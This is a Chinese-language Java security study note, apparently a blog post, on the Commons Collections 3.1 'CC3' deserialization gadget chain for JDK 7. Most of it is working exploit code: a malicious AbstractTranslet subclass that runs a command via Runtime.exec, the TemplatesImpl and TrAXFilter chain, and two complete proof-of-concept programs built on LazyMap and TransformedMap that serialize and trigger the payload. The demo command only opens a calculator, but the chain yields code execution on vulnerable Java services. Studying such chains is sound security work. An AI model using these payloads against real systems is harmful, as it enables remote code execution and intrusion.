Java安全学习笔记--反序列化漏洞利用链CC3链

测试环境

jdk1.7(jdk7u80)

Commons Collections3.1

CC3链大体上是CC1和CC2链的结合,利用链核心原理基于CC2链的(动态字节码注入恶意类),使用TransformedMap和lazyMap配合cc1的annotationinvocation类触发newTransformer方法,所以CC3链不适用jdk1.8。

恶意类

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;


public class evilClass extends AbstractTranslet{
    //需要继承AbstractTranslet,因为在defineTransletClasses中会判断是否继承了这个类没有会报错
    public evilClass() {
        super();
        try {
            Runtime.getRuntime().exec("calc");
        }catch (Exception e){
            e.printStackTrace();
        }
    }
    //两种触发方式构造方法和静态代码块
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }}


    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }


}

利用链核心

   ClassPool classPool= ClassPool.getDefault();
        CtClass ctClass=classPool.getCtClass("com.test.evilClass");
        byte[] bytes=ctClass.toBytecode();
        //将恶意类转换为字节码
        TemplatesImpl templatesImpl = new TemplatesImpl();
        Field field1=templatesImpl.getClass().getDeclaredField("_name");
        Field field2=templatesImpl.getClass().getDeclaredField("_bytecodes");
        field1.setAccessible(true);
        field2.setAccessible(true);
        field1.set(templatesImpl,"evilClass");
        field2.set(templatesImpl,new byte[][]{bytes});
        //通过反射将bytes和一个name赋值给TemplatesImpl的_name和_bytecodes
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
        };
        Transformer chainedTransformer=new ChainedTransformer(transformers);

使用了一个新的类InstantiateTransformer类,这个类的transform(Object input)会触发input的newInstance()既实例化。

public T transform(Class<? extends T> input) {
        try {
            if (input == null) {
                throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a null object");
            } else {
                Constructor<? extends T> con = input.getConstructor(this.iParamTypes);
                return con.newInstance(this.iArgs);
            }
。。。省略
}

这里的input为TrAXFilter类,它的构造方法方法中会触发newTransformer方法

编写POC

基于LazyMap

package com.test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;


import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class CC3poc2 {
    public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.getCtClass("com.test.evilClass");
        byte[] bytes = ctClass.toBytecode();
        //将恶意类转换为字节码
        TemplatesImpl templates=new TemplatesImpl();
        //可以直接new不需要像AnnotationInvocationHandler一样必须通过反射(类修饰符不同)
        Class classInstance=templates.getClass();
        Field field1=classInstance.getDeclaredField("_name");
        Field field2=classInstance.getDeclaredField("_bytecodes");
        field1.setAccessible(true);
        field2.setAccessible(true);
        field1.set(templates,"evilCLass");
        field2.set(templates,new byte[][]{bytes});
        //反射设置属性
        Transformer[] transFormers=new Transformer[]{
          new ConstantTransformer(TrAXFilter.class),
          new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        };
        Transformer chainedTransformer=new ChainedTransformer(transFormers);
        InvokerTransformer transformer=new InvokerTransformer("newTransformer",null,null);
        Map map =new HashMap();
        Map lazyMap= LazyMap.decorate(map,chainedTransformer);
        //在commoncellection3中使用LazyMap.decorate(map,chainedTransformer);
        classInstance =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=classInstance.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Target.class,lazyMap);
        Map proxyMap= (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),lazyMap.getClass().getInterfaces(),invocationHandler);
        //生成代理类
        InvocationHandler annotationinvocationHandler=(InvocationHandler)constructor.newInstance(Target.class,proxyMap);
        //将代理类传入

        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(annotationinvocationHandler);
        objectOutputStream.close();
        //序列化
        ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();


    }
}

基于TransformedMap

package com.test;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC3Poc {
    public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
        ClassPool classPool= ClassPool.getDefault();
        CtClass ctClass=classPool.getCtClass("com.test.evilClass");
        byte[] bytes=ctClass.toBytecode();
        //将恶意类转换为字节码
        TemplatesImpl templatesImpl = new TemplatesImpl();
        Field field1=templatesImpl.getClass().getDeclaredField("_name");
        Field field2=templatesImpl.getClass().getDeclaredField("_bytecodes");
        field1.setAccessible(true);
        field2.setAccessible(true);
        field1.set(templatesImpl,"evilClass");
        field2.set(templatesImpl,new byte[][]{bytes});
        //通过反射将bytes和一个name赋值给TemplatesImpl的_name和_bytecodes
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
        };
        Transformer chainedTransformer=new ChainedTransformer(transformers);
        //构造触发newTransform()的利用链,InstantiateTransformer的transform()会将TrAXFilter实例化传入template,触发在构造方法中的newTransform方法
        HashMap map=new HashMap();
        map.put("value","asd");
        Map transformedMap=TransformedMap.decorate(map,null,chainedTransformer);
        Class classInstance=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=classInstance.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler annotationinvocationHandler=(InvocationHandler) constructor.newInstance(Target.class,transformedMap);
        //反射调用
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(annotationinvocationHandler);
        objectOutputStream.close();
        //序列化
        ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();



    }
}

 

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值